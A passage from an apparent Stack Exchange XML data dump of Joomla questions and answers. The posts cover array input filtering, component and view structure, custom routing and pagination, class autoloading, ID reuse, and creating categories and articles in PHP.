JInput::getArray()&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;While Option 3 might work well, there are some issues:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;What if we do not know in advance the name of the fields?&lt;/li&gt;&#xA;&lt;li&gt;What if I have like 100+ fields - I don't want to write each of them&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;To solve this issues, we need to do it in more steps:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Get the data unfiltered&#xA;$unfilteredData = $app-&amp;gt;input-&amp;gt;get('stuff', array(), 'ARRAY');&#xA;&#xA;// Pre-filling all parameters with the INT filter.&#xA;$a4 = $app-&amp;gt;input-&amp;gt;getArray(array(&#xA;    'stuff' =&amp;gt; array_fill_keys(array_flip($unfilteredData), 'INT')&#xA;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Result is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;array (size=1)&#xA;  'stuff' =&amp;gt; &#xA;    array (size=4)&#xA;      'abc' =&amp;gt; int 1&#xA;      'def' =&amp;gt; int 75&#xA;      123 =&amp;gt; int 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Possible security issue if you need the keys&lt;/strong&gt;: we are filtering the values, but not the keys!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some simple processing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$finalArray = array_values($a4['stuff']);&#xA;&#xA;array (size=4)&#xA;  0 =&amp;gt; int 1&#xA;  1 =&amp;gt; int 75&#xA;  2 =&amp;gt; int 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;ANSWER IS HERE: -&gt;&lt;/strong&gt; Complete code to get an array with n-parameters as integers from a POST request (ideally fit this into a method):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Get the data unfiltered&#xA;$unfilteredData = $app-&amp;gt;input-&amp;gt;get('stuff', array(), 'ARRAY');&#xA;&#xA;// Check to see if array is empty.&#xA;if (! empty($unfilteredData))&#xA;{&#xA;    $a4 = $app-&amp;gt;input-&amp;gt;getArray(array(&#xA;        'stuff' =&amp;gt; array_fill_keys(array_flip($unfilteredData), 'INT')&#xA;    ));&#xA;&#xA;    $result = array_values($a4['stuff']);&#xA;}&#xA;else&#xA;{&#xA;    $result = array();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-11-22T11:52:24.810" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="5345" PostTypeId="1" AcceptedAnswerId="5346" CreationDate="2014-11-22T12:17:06.927" Score="5" ViewCount="523" Body="&lt;p&gt;If I were to create a Joomla social media component from scratch, say something similar to communitybuilder (used for interpals for example), &lt;strong&gt;would every page (profile, register, list of profiles) be a separate component?&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I find all the components I see are built in such a complicated matter, so it's hard for me as a beginner to jump in on it. I figured I'd start creating one from scratch to experiment with user registration and database usage.&lt;/p&gt;&#xA;" OwnerUserId="2124" LastEditorUserId="159" LastEditDate="2014-11-22T15:48:41.093" LastActivityDate="2014-11-23T14:38:06.567" Title="Do I need for multiple pages == multiple components?" Tags="|joomla-3.x|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5346" PostTypeId="2" ParentId="5345" CreationDate="2014-11-22T12:26:09.600" Score="6" Body="&lt;p&gt;Not everything by default is a separate component. For example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;com_users&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This component consists of everything to do with a user such as:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Registration&lt;/li&gt;&#xA;&lt;li&gt;Login&lt;/li&gt;&#xA;&lt;li&gt;Logout&lt;/li&gt;&#xA;&lt;li&gt;Profile&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So if you are thinking of creating your own component, you only need 1. The component will then consist of different views. The exact same concept as &lt;strong&gt;com_users&lt;/strong&gt;. Each bullet point mentioned above is a different view and has a controller and model to go with it.&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2014-11-22T12:57:19.083" LastActivityDate="2014-11-22T12:57:19.083" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5347" PostTypeId="2" ParentId="5342" CreationDate="2014-11-22T12:57:21.537" Score="1" Body="&lt;p&gt;You have to add '&amp;amp;tmpl=component' to your URL in the AJAX call to return just the component output, not the whole page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;url: &quot;index.php?option=com_jsmdownload&amp;amp;task=imageUpload&quot;,&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;url: &quot;index.php?option=com_jsmdownload&amp;amp;task=imageUpload&amp;amp;tmpl=component&quot;,&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Try that and see if it works.&lt;/p&gt;&#xA;" OwnerUserId="154" LastActivityDate="2014-11-22T12:57:21.537" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5349" PostTypeId="2" ParentId="5345" CreationDate="2014-11-22T17:12:55.763" Score="4" Body="&lt;p&gt;@Lodder has given the right answer, so this is only a suggestion from one who has been trying to learn the intricacies of a Joomla 3 component as well.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've become a strong proponent of &lt;a href=&quot;http://component-creator.com/&quot; rel=&quot;nofollow&quot;&gt;Component Creator&lt;/a&gt; - the free version allows you to build a fully functional component with one table and a view for the frontend and another for the backend.  The generated code is very clean and consistent, and easy to follow for a beginner.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The paid version allows mulitple tables, as well as multiple views for each of those tables, so for a very small investment, you can have the basic code structure for your entire component generated in only a few hours.  &lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2014-11-22T17:12:55.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5350" PostTypeId="1" CreationDate="2014-11-22T18:11:28.823" Score="5" ViewCount="1373" Body="&lt;p&gt;I am using the core users component. Users after logging in are not able to logout, the logout button simple refreshes the page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla is not deleting entries from the &lt;code&gt;_session&lt;/code&gt; table when a user logs out. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have disabled extra registration plugins and also changed the session handler and ssl configuration without success. I've been clearing, optimizing and repairing session table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any one have ever heard or experienced this problem and can get me a clue?&lt;/p&gt;&#xA;" OwnerUserId="2244" LastEditorUserId="159" LastEditDate="2014-11-30T14:17:04.703" LastActivityDate="2014-12-01T23:38:07.110" Title="Users cannot logout because session is not deleted" Tags="|joomla-2.5|login|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5351" PostTypeId="2" ParentId="5286" CreationDate="2014-11-22T18:23:35.887" Score="4" Body="&lt;p&gt;The schema that you're looking for is actually [ComponentName][Directory][Name]. &#xA;Components generally have at least the following directories: controller, model, view, helpers. For a component called com_mycomponent with a helper file that is helper.php, that would be MycomponentHelperHelper. &lt;strong&gt;The camelcase formatting is particularly important in the class being properly recognized.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unless your component is providing classes that you would want to make available to other components, you don't need to use JLoader::registerPrefix(). You can instead just use JLoader::discover(), and provide those classes to your component. for com_mycomponent/helpers this would mean &lt;/p&gt;&#xA;&#xA;&lt;p&gt;JLoader::discover('Helpers', JPATH_COMPONENT.'/helpers');&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also use JLoader::registerNamespace() to use PHP namespaces. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://docs.joomla.org/Using_own_library_in_your_extensions&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/Using_own_library_in_your_extensions&lt;/a&gt; for more details on those methods.&lt;/p&gt;&#xA;" OwnerUserId="58" LastActivityDate="2014-11-22T18:23:35.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5352" PostTypeId="1" AcceptedAnswerId="5381" CreationDate="2014-11-22T23:50:35.043" Score="2" ViewCount="1380" Body="&lt;p&gt;I am trying to build a component called com_usedbooks with a module called mod_usedsearch. The user can view books by clicking a Menu Item called 'Used Books' (/used-books) which will show a paginated list or by searching it using a module from any page where they can filter it by author and author.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got the List View working but when I search with the module, I have two problems which I think are interrelated:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the search form in the module is submitted, it seems to be getting submitted to current component context. So if I am submitting the Search Form from the root URL, I get a different query string (&lt;code&gt;/?genre=fiction&amp;amp;author=all&amp;amp;option=com_usedbooks&amp;amp;view=search&amp;amp;Itemid=101&lt;/code&gt;) compared to when I submit the Search Form in the Used Books List page (&lt;code&gt;/used-books?genre=fiction&amp;amp;author=all&amp;amp;option=com_usedbooks&amp;amp;view=search&amp;amp;Itemid=108&lt;/code&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In both cases, the list page with the correct filtered data is displayed but with one catch and that is when I click on Page 2 on the pagination links, it goes to: &lt;code&gt;/used-books/fiction/0?author=all&amp;amp;start=5&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My guess is that the problem lies in the router but I am struggling to find what it is. What I am trying to do is when the search form is submitted from any component context, it will be have a query string like &lt;code&gt;/used-books/search/?genre=fiction&amp;amp;author=all&lt;/code&gt; and similarly for the pagination to be &lt;code&gt;/used-books/search/?genre=fiction&amp;amp;author=all&amp;amp;limit=5&lt;/code&gt; and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not sure what I would put on the case 'search' to achieve what I want. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have referenced the relevant bits of code below: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- Module Search Form --&amp;gt;&#xA;&amp;lt;form name=&quot;books-search&quot; action=&quot;&amp;lt;?php echo JRoute::_('index.php')?&amp;gt;&quot; method=&quot;get&quot;&amp;gt;&#xA;&amp;lt;!-- fields --&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;option&quot; value=&quot;com_usedbooks&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;view&quot; value=&quot;search&quot;&amp;gt;&#xA;&#xA;&#xA;&amp;lt;?php&#xA;/* Model&#xA; * /com_usedbooks/models/search.php &#xA;*/&#xA;&#xA;class UsedbooksModelSearch extends JModelList {&#xA;&#xA;    protected function getListQuery() {&#xA;        $db = JFactory::getDBO();&#xA;        $query = $db-&amp;gt;getQuery(true);&#xA;&#xA;        // Get the genre&#xA;        $genre = $this-&amp;gt;getState('genre', '');&#xA;&#xA;        $query&#xA;            -&amp;gt;select('*')&#xA;            -&amp;gt;from($db-&amp;gt;quoteName('used_books'))&#xA;            -&amp;gt;where('genre = ' . $db-&amp;gt;quote($genre))&#xA;            -&amp;gt;order('id ASC');&#xA;&#xA;        return $query;&#xA;    }&#xA;&#xA;    protected function populateState ($ordering = null, $direction = null) {&#xA;        $app = JFactory::getApplication();&#xA;&#xA;        $this-&amp;gt;setState('genre', $app-&amp;gt;input-&amp;gt;get('genre', '', 'STRING'));&#xA;&#xA;        // Limit the number of list items per page&#xA;        $this-&amp;gt;setState('list.limit', $app-&amp;gt;input-&amp;gt;get('limit', 5, 'uint'));&#xA;&#xA;        /* Sets the offset where the page should start, for e.g&#xA;         * Page limitstart=5 will start the list with the 6th item&#xA;        */&#xA;        $this-&amp;gt;setState('list.start', $app-&amp;gt;input-&amp;gt;get('limitstart', 0, 'uint'));&#xA;    }&#xA;}&#xA;&#xA;/* View&#xA; * /com_usedbooks/views/search/tmpl/default.php &#xA;*/&#xA;class UsedbooksViewSearch extends JViewLegacy&#xA;{&#xA;    // Overwriting JView display method&#xA;    function display($tpl = null)&#xA;    {&#xA;        // Get the Used Books Array&#xA;        $this-&amp;gt;items = $this-&amp;gt;get('Items');&#xA;&#xA;        // Pagination&#xA;        $this-&amp;gt;pagination = $this-&amp;gt;get('Pagination');&#xA;&#xA;        // Display the view&#xA;        parent::display($tpl);&#xA;    }&#xA;}&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;!-- /com_usedbooks/views/search/tmpl/default.php --&amp;gt;&#xA;&amp;lt;form action=&quot;&amp;lt;?php echo htmlspecialchars(JFactory::getURI()-&amp;gt;toString()); ?&amp;gt;&quot; method=&quot;get&quot;&amp;gt;&#xA;    &amp;lt;?php foreach ($usedBooks as $usedBook): ?&amp;gt;&#xA;        &amp;lt;h2&amp;gt;&amp;lt;?php echo $usedBook-&amp;gt;title . ' - '. $usedBook-&amp;gt;author; ?&amp;gt;&amp;lt;/h2&amp;gt; &#xA;    &amp;lt;?php endforeach; ?&amp;gt;&#xA;&#xA;    &amp;lt;?php echo $this-&amp;gt;pagination-&amp;gt;getListFooter(); ?&amp;gt;&#xA;    &amp;lt;?php echo $this-&amp;gt;pagination-&amp;gt;getLimitBox(); ?&amp;gt;&#xA;    &amp;lt;?php echo $this-&amp;gt;pagination-&amp;gt;getResultsCounter(); ?&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;/* Router&#xA; * /com_usedbooks/router.php &#xA;*/&#xA;function UsedbooksBuildRoute(&amp;amp;$query)&#xA;{&#xA;    $segments = array();&#xA;&#xA;    if(isset($query['genre'])){&#xA;        $segments[] = $query['genre'];&#xA;        unset($query['genre']);&#xA;    }&#xA;&#xA;    if(isset($query['author'])){&#xA;        $segments[] = $query['author'];&#xA;        unset($query['author']);&#xA;    }&#xA;&#xA;    if(isset($query['id'])){&#xA;        $segments[] = $query['id'];&#xA;        unset($query['id']);&#xA;    }&#xA;    unset( $query['view'] );&#xA;&#xA;    return $segments;&#xA;}&#xA;&#xA;function UsedbooksParseRoute($segments)&#xA;{&#xA;    $vars = array();&#xA;    $app =&amp;amp; JFactory::getApplication();&#xA;    $menu =&amp;amp; $app-&amp;gt;getMenu();&#xA;    $item =&amp;amp; $menu-&amp;gt;getActive();&#xA;&#xA;    // Count segments&#xA;    $count = count($segments);&#xA;&#xA;    //Handle View and Identifier&#xA;    switch($item-&amp;gt;query['view'])&#xA;    {&#xA;    case 'usedbooks':&#xA;        if($count == 1) {&#xA;            $vars['view'] = 'genre';&#xA;        }&#xA;        if($count == 2) {&#xA;            $vars['view'] = 'author';&#xA;        }&#xA;        if($count == 3) {&#xA;            $vars['view'] = 'usedbook';&#xA;        }&#xA;        $id = explode( ':', $segments[$count-1] );&#xA;        $vars['id'] = (int) $id[0];&#xA;&#xA;        break;&#xA;&#xA;    case 'genre':&#xA;        if($count == 1) {&#xA;            $vars['view'] = 'genre';&#xA;        }&#xA;        if($count == 2) {&#xA;            $vars['view'] = 'author';&#xA;        }&#xA;        $id = explode(':', $segments[$count-1]);&#xA;        $vars['id'] = (int) $id[0];&#xA;        break;&#xA;&#xA;    case 'author':&#xA;        if($count == 1) {&#xA;            $vars['view'] = 'author';&#xA;        }&#xA;        if($count == 2) {&#xA;            $vars['view'] = 'usedbook';&#xA;        }&#xA;        $id = explode(':', $segments[$count-1]);&#xA;        $vars['id'] = (int) $id[0];&#xA;        break;&#xA;&#xA;    case 'usedbook':&#xA;        $reg = explode(':', $segments[$count-1]);&#xA;        $vars['reg'] = (int) $reg[0];&#xA;        $vars['view'] = 'usedbook';&#xA;        break;&#xA;&#xA;    case 'search':&#xA;&#xA;        break;&#xA;    }&#xA;    return $vars;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="112" LastEditorUserId="159" LastEditDate="2014-11-23T15:19:28.677" LastActivityDate="2014-11-25T01:12:34.480" Title="Paginated links on items generated using a custom search module does not work" Tags="|component|development|fix-my-code|jroute|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5353" PostTypeId="2" ParentId="5286" CreationDate="2014-11-23T04:34:07.393" Score="1" Body="&lt;p&gt;My understanding of the prefix loader is that your filenames will ALWAYS be all lowercase.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is good: &lt;code&gt;JLoader::registerPrefix('Foo', JPATH_LIBRARIES . '/foo');&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But then your class names translate to different class paths.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;FooBarHelper&lt;/code&gt; =&gt; &lt;code&gt;JPATH_LIBRARIES . '/foo/bar/helper.php'&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;FooBazNotHelpful&lt;/code&gt; =&gt; &lt;code&gt;JPATH_LIBRARIES . '/foo/baz/not/helpful.php'&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The prefix system always follows this convention, &lt;a href=&quot;http://docs.joomla.org/Using_own_library_in_your_extensions&quot; rel=&quot;nofollow&quot;&gt;based on the doc here&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The class name must be in camel case and each segment of the name will represent a folder path where the last segment of the name is the name of the class file.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;To answer your final question, the class name should be CamelCase, and it has to be in a file that has a lowercase name and is in folders that are all lowercase.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2014-11-23T04:34:07.393" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5355" PostTypeId="1" AcceptedAnswerId="5356" CreationDate="2014-11-23T10:27:37.860" Score="1" ViewCount="150" Body="&lt;p&gt;I like to work with small IDs. Is there a way to automatically re-use the IDs of trashed* items? (* when using &quot;empty trash&quot;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it safe to run this query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ALTER TABLE jos_content AUTO_INCREMENT=0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a risk that it could messed up my existing IDs? &#xA;Would it automatically allow me to re-use the previous ID (the one trashed) before creating (incrementing) new ones ?&lt;/p&gt;&#xA;" OwnerUserId="1580" LastActivityDate="2014-11-23T11:37:12.567" Title="Recycling IDs: re-using articles, category's ID that have been trashed for new articles" Tags="|joomla-3.x|sql|id|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5356" PostTypeId="2" ParentId="5355" CreationDate="2014-11-23T11:37:12.567" Score="4" Body="&lt;p&gt;That practice would actually be terrible for SEO. You would be hurting your search content by regularly replacing content on the same id. Aside from that, even if you did reuse the ids, they would still continue to get larger,but at a slower rate. This is because you wouldn't have access to ids that are smaller than the last remaining id. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ex: if you have articles with ids 1-6 and delete 2,3,5,6 your plan would only allow you to reclaim 6. The auto increment function is never going to allow the ids to be created out of order, because that would result in a primary key conflict. &lt;/p&gt;&#xA;" OwnerUserId="58" LastActivityDate="2014-11-23T11:37:12.567" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5358" PostTypeId="2" ParentId="5345" CreationDate="2014-11-23T14:38:06.567" Score="3" Body="&lt;p&gt;i would suggest you to follow Mr David Hurley's Lendr Component &lt;a href=&quot;http://lendr.websparkinc.com/&quot; rel=&quot;nofollow&quot;&gt;Build Component from scratch&lt;/a&gt;. Here you can find a very good way to manage your component's MVC easily with best practice.&#xA;By writing your component's Routing file, you can show it like the way you want. The pattern of mvc in components is using one master controller and other sub-controller.&lt;/p&gt;&#xA;" OwnerUserId="2008" LastActivityDate="2014-11-23T14:38:06.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5359" PostTypeId="1" AcceptedAnswerId="5361" CreationDate="2014-11-23T17:41:10.853" Score="13" ViewCount="4407" Body="&lt;p&gt;Is it possible to dynamically create Joomla categories, subcategories and articles using PHP scripts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any example link?&lt;/p&gt;&#xA;" OwnerUserId="2249" LastEditorUserId="64" LastEditDate="2014-11-23T18:09:56.937" LastActivityDate="2023-04-10T19:57:53.977" Title="Create categories, subcategories and articles using php" Tags="|joomla-3.x|php|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5361" PostTypeId="2" ParentId="5359" CreationDate="2014-11-23T18:06:44.657" Score="17" Body="&lt;p&gt;It's a rather extensive process to do this, but here's a trimmed down version of the code that I generally use.  I won't necessarily guarantee that it will run as shown since I ripped out a bunch of internal stuff that we do along the way, but these are the pieces you need to do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll need to look at tables &lt;code&gt;#__categories&lt;/code&gt; and &lt;code&gt;#__content&lt;/code&gt; to get all the fields you want to populate and add them to the given &lt;code&gt;$category_data&lt;/code&gt; and &lt;code&gt;$article_data&lt;/code&gt; arrays.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I should mention that you &lt;em&gt;could&lt;/em&gt; accomplish it inserting the records with jDatabase or jTable, but I'd not generally recommend that because the important thing that you'd be missing is the built-in Joomla rules and logic that do things like checking the uniqueness of the alias, and managing the ACL for the new content items.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (!defined('_JEXEC')) {&#xA;    define( '_JEXEC', 1 );&#xA;    define('JPATH_BASE', realpath(dirname(__FILE__)));&#xA;    require_once ( JPATH_BASE .'/includes/defines.php' );&#xA;    require_once ( JPATH_BASE .'/includes/framework.php' );&#xA;    defined('DS') or define('DS', DIRECTORY_SEPARATOR);&#xA;}&#xA;$app = JFactory::getApplication('site');&#xA;&#xA;$category_data['id'] = 0;&#xA;$category_data['parent_id'] = 0;&#xA;$category_data['title'] = 'My Category Title';&#xA;$category_data['alias'] = 'my-categegory-title-alias';&#xA;$category_data['extension'] = 'com_content';&#xA;$category_data['published'] = 1;&#xA;$category_data['language'] = '*';&#xA;$category_data['params'] = array('category_layout' =&amp;gt; '','image' =&amp;gt; '');&#xA;$category_data['metadata'] = array('author' =&amp;gt; '','robots' =&amp;gt; '');&#xA;&#xA;$category_id = createCategory($category_data);&#xA;if(!$category_id){&#xA;    echo &quot;Category create failed!&quot;;&#xA;}else{&#xA;    $article_data = array(&#xA;        'id' =&amp;gt; 0,&#xA;        'catid' =&amp;gt; $category_id,&#xA;        'title' =&amp;gt; 'My article title',&#xA;        'alias' =&amp;gt; 'my-article-alias',&#xA;        'introtext' =&amp;gt; 'My intro text',&#xA;        'fulltext' =&amp;gt; '&amp;lt;p&amp;gt;My full text&amp;lt;/p&amp;gt;',&#xA;        'state' =&amp;gt; 1,&#xA;        'language' =&amp;gt; '*'&#xA;    );&#xA;    $article_id = createArticle($article_data);&#xA;    if(!$article_id){&#xA;        echo &quot;Article create failed!&quot;;&#xA;    }&#xA;}&#xA;&#xA;function createCategory( $data )&#xA;{&#xA;    $data['rules'] = array(&#xA;        'core.edit.state' =&amp;gt; array(),&#xA;        'core.edit.delete' =&amp;gt; array(),&#xA;        'core.edit.edit' =&amp;gt; array(),&#xA;        'core.edit.state' =&amp;gt; array(),&#xA;        'core.edit.own' =&amp;gt; array(1=&amp;gt;true)&#xA;    );&#xA;&#xA;    $basePath = JPATH_ADMINISTRATOR.'/components/com_categories';&#xA;    require_once $basePath.'/models/category.php';&#xA;    $config  = array('table_path' =&amp;gt; $basePath.'/tables');&#xA;    $category_model = new CategoriesModelCategory($config);&#xA;    if(!$category_model-&amp;gt;save($data)){&#xA;        $err_msg = $category_model-&amp;gt;getError();&#xA;        return false;&#xA;    }else{&#xA;        $id = $category_model-&amp;gt;getItem()-&amp;gt;id;&#xA;        return $id;&#xA;    }&#xA;}&#xA;function createArticle($data)&#xA;{&#xA;    $data['rules'] = array(&#xA;        'core.edit.delete' =&amp;gt; array(),&#xA;        'core.edit.edit' =&amp;gt; array(),&#xA;        'core.edit.state' =&amp;gt; array(),&#xA;    );&#xA;&#xA;    $basePath = JPATH_ADMINISTRATOR.'/components/com_content';&#xA;    require_once $basePath.'/models/article.php';&#xA;    $config = array();&#xA;    $article_model = new ContentModelArticle($config);&#xA;    if(!$article_model-&amp;gt;save($data)){&#xA;        $err_msg = $article_model-&amp;gt;getError();&#xA;        return false;&#xA;    }else{&#xA;        $id = $article_model-&amp;gt;getItem()-&amp;gt;id;&#xA;        return $id;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="64" LastEditorUserId="64" LastEditDate="2014-11-26T18:19:55.890" LastActivityDate="2014-11-26T18:19:55.890" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="5362" PostTypeId="2" ParentId="5333" CreationDate="2014-11-23T21:33:20.500" Score="3" Body="&lt;p&gt;You are correct, but you don't need to go down to &lt;code&gt;JTable&lt;/code&gt;, if you're following the Joomla way and using &lt;code&gt;JControllerForm&lt;/code&gt; as the basis for your view controller e.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class MycomponentControllerMycontent extends JControllerForm {}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and using &lt;code&gt;JModelAdmin&lt;/code&gt; as the basis for you components Model e.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class MycomponentModelMycontent extends JModelAdmin {}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Extending &lt;code&gt;JControllerForm&lt;/code&gt;, gives you a built-in &lt;code&gt;edit()&lt;/code&gt; method that sets up your model and table for you, and checks access to the record in question as well as whether the table supports checkouts (by checking that a column &lt;code&gt;checked_out&lt;/code&gt; exists). If it does, it attempts to &lt;code&gt;checkout()&lt;/code&gt; the record via the model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By extending JModelAdmin you inherit it's &lt;code&gt;getItem()&lt;/code&gt;, &lt;code&gt;checkIn()&lt;/code&gt; and &lt;code&gt;checkOut()&lt;/code&gt; methods. As mentioned, the model calls &lt;code&gt;checkout()&lt;/code&gt; (&lt;em&gt;which it inherits from &lt;code&gt;JModelForm&lt;/code&gt;&lt;/em&gt;) and makes sure that in addition to the &lt;code&gt;checked_out&lt;/code&gt; column your table also has one called &lt;code&gt;checked_out_time&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At this point one of two things will happen if either of those columns don't exists, &lt;code&gt;JModelForm&lt;/code&gt; fakes it and returns &lt;code&gt;true&lt;/code&gt; (indicating job done). Otherwise, it will grab the current users, and then proceed to attempt the checkout first checking if it's already checked out to another user. At this point if finally calls the &lt;code&gt;JTable&lt;/code&gt; implementation of &lt;code&gt;checkOut()&lt;/code&gt; (if you haven't overridden it in with your own table definition which in J3 isn't usually required).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;JTable&lt;/code&gt; performs exactly the same column checks, and if all is good (i.e. has a valid ID) updates the columns &lt;code&gt;checked_out&lt;/code&gt; and &lt;code&gt;checked_out_time&lt;/code&gt; for the record being edited.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a side note, when you &lt;code&gt;edit()&lt;/code&gt; an item, &lt;code&gt;getItem()&lt;/code&gt; gets called, it loads the record via a &lt;code&gt;JTable&lt;/code&gt; (i.e. it does a &lt;code&gt;getTable()&lt;/code&gt; followed by &lt;code&gt;load($pk)&lt;/code&gt;. &lt;em&gt;(At this point &lt;code&gt;JTable&lt;/code&gt; also triggers your &lt;strong&gt;onBeforeLoad&lt;/strong&gt; and &lt;strong&gt;onAfterLoad&lt;/strong&gt; events for plugins which is nice)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The record is returned to your version of &lt;code&gt;JModelAdmin&lt;/code&gt;, which converts it to a base &lt;code&gt;stdClass&lt;/code&gt; object (it's used to be a &lt;code&gt;JObject&lt;/code&gt; in times past). The if the record (now object) contains a &lt;code&gt;params&lt;/code&gt; column/attribute it converts that to a &lt;code&gt;JRegistry&lt;/code&gt; object for easy access.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, you get lots of handy things for free using the Joomla way. :)&lt;/p&gt;&#xA;" OwnerUserId="107" LastActivityDate="2014-11-23T21:33:20.500" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5363" PostTypeId="2" ParentId="5359" CreationDate="2014-11-24T04:15:41.467" Score="3" Body="&lt;p&gt;There is at least one extension, &quot;OSContent&quot; in the Joomla Extensions Directory that you could use as an example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/miscellaneous/mass-content/18000&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extensions/miscellaneous/mass-content/18000&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OSContent allows you to create articles and categories in bulk.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2014-11-24T04:15:41.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
